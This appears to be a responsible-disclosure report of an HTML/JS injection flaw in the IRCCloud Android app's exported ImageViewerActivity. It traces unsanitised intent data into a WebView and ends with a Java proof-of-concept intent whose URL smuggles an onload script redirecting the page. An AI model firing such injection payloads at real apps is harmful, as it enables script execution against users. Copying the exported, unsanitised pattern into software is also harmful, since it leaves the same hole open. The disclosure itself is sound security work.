Hi, I'd like to report HTML/JS injection in activity ```com.irccloud.android.activity.ImageViewerActivity``` which is exported: ```xml

``` so can be launched by arbitrary apps installed on the same device. On the newest Androids could be exploited also by Android Instant Apps directly from a web-browser (installation is not required). File ``` com/irccloud/android/activity/ImageViewerActivity.java ``` ```java } else if (getIntent() == null || getIntent().getDataString() == null) { finish(); } else { ImageList.getInstance().fetchImageInfo(getIntent().getDataString().replace(getResources().getString(R.string.IMAGE_SCHEME), "http"), new OnImageInfoListener() { public void onImageInfo(ImageURLInfo info) { if (info == null) { ImageViewerActivity.this.fail(); } else if (info.mp4 != null) { ImageViewerActivity.this.loadVideo(info.mp4); } else { ImageViewerActivity.this.loadImage(info.thumbnail); // by default } } }); } ``` Here we see that method ```ImageList.fetchImageInfo(..)``` is being loaded with attacker provided data. Inside ``` ImageList ```: ```java public void fetchImageInfo(String URL, OnImageInfoListener listener) { // ... String url = URL; // ... ImageURLInfo info = new ImageURLInfo(); info.thumbnail = url; info.original_url = URL; putImageInfo(info); listener.onImageInfo(info); ``` So both ```info.thumbnail``` and ```info.original_url``` contains attacker provided data and this stuff is returned back to ```ImageViewerActivity``` where code is executed ```java ImageViewerActivity.this.loadImage(info.thumbnail); ``` Inside this method attacker can inject arbitrary HTML/JS: ```java private void loadImage(String urlStr) { try { // ... this.mImage.loadDataWithBaseURL(null, "\n\n\n

\n

\n", "text/html", "UTF-8", null); ``` PoC of exploitation on Java: ```java Intent intent = new Intent(); intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ImageViewerActivity"); intent.setData(Uri.parse("https://shoppersocial.me/wp-content/uploads/2016/06/wow.jpg' onload='window.location.href=\"http://yahoo.com\"")); startActivity(intent); ``` Result: {F233010} {F233011} APK is attached

Query Builder